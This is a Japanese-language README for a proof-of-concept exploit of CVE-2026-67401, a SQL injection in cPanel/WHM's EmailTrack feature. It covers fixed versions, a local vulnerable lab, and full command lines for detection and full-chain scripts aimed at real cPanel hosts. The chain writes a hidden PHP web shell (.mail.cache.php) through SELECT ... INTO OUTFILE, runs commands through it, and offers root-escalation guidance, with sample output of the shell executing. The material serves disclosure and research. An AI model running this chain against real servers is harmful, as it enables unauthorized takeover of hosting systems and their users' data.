
CVE-2026-67401の概念実証。cPanel/WHM EmailTrackのSQLインジェクションにより任意ファイル書き込みとroot RCEが可能で、SQLi検出プローブと自己完結型の脆弱ラボを備える。
CVE-2026-67401 の概念実証です。これは cPanel & WHM の EmailTrack 機能における重大な SQL インジェクション脆弱性であり、メール関連の権限を持つ認証済みユーザーが任意のファイルを書き込み、root としてコードを実行できるようにします。
発見者: Ali Mustafa 公開日: 2026年9月8日 コンポーネント: EmailTrack (メール配信ログ / トラッキング)
修正ビルド 未満 のバージョンが脆弱です。
| cPanel ビルド系列 | 修正バージョン |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
バージョンは次のコマンドで確認できます:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account パラメータを通じて インジェクション します。SELECT ... INTO OUTFILE を使用して PHP ウェブシェルを public_html/ に 書き込み ます。| ファイル | 説明 |
|---|---|
poc_sqli.py | SQL インジェクション検出: ブールベース、時間ベース、UNION カラム数 |
poc_full_chain.py | 完全なエクスプロイトチェーン: SQLi → INTO OUTFILE ウェブシェル → RCE → root ガイダンス |
lab/vuln_server.py | 脆弱な EmailTrack バックエンドのローカルシミュレーション (安全、自己完結型) |
README.md | このドキュメント |
同梱のラボを使用すると、実際の cPanel サーバーなしで チェーン全体を実行および検証できます。
すべてのコマンドはリポジトリのルートから実行します。
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP()、INTO OUTFILE、および PHP ウェブシェル実行。18123)lab/htdocs)これを 1 つのターミナルで実行したままにし、PoC には 2 つ目のターミナルを使用します。
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| 引数 | 説明 |
|---|---|
-H, --host | cPanel ホスト、例: https://cp.example.com:2083 |
-u, --username | メール権限を持つ cPanel アカウント |
-p, --password | アカウントのパスワード |
--param | インジェクション可能なパラメータ (デフォルト: account) |
--mode | detect (デフォルト)、boolean、timing、union、または all |
--sleep | タイミングプローブ用の SLEEP() 時間 (デフォルト: 3.0) |
--dump-version | UNION を介して DBMS バージョンの抽出を試みる |
--insecure | TLS 証明書の検証をスキップ |
特定のプローブを実行:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| 引数 / 環境変数 | 説明 |
|---|---|
host (位置引数) | cPanel ホスト、または環境変数 CPANEL_HOST を設定 |
CPANEL_USER | メール権限を持つ cPanel アカウント |
CPANEL_PASS | アカウントのパスワード |
--shell-base | public_html を提供するベース URL (ウェブシェルに到達する場所) |
--insecure | TLS 証明書の検証をスキップ |
--no-escalate | RCE 後に停止; root 権限昇格ガイダンスをスキップ |
SHELL_NAME (環境変数) | ウェブシェルのファイル名 (デフォルト: .mail.cache.php) |
自動的に実行されるステージ:
SELECT ... INTO OUTFILE による PHP ウェブシェルの書き込みid、whoami、SUID 列挙、…)whmapi1、cron、タスクキュー)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
注: デフォルトの
--shell-baseは、ホストから cPanel 専用ポート (2082/2083) を削除します。ドキュメントルートが別のポートで提供されている場合は、明示的に設定してください。
同梱のラボに対して生成された出力:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
教育および許可されたセキュリティ研究目的で公開されています。 使用前に 免責事項 を参照してください。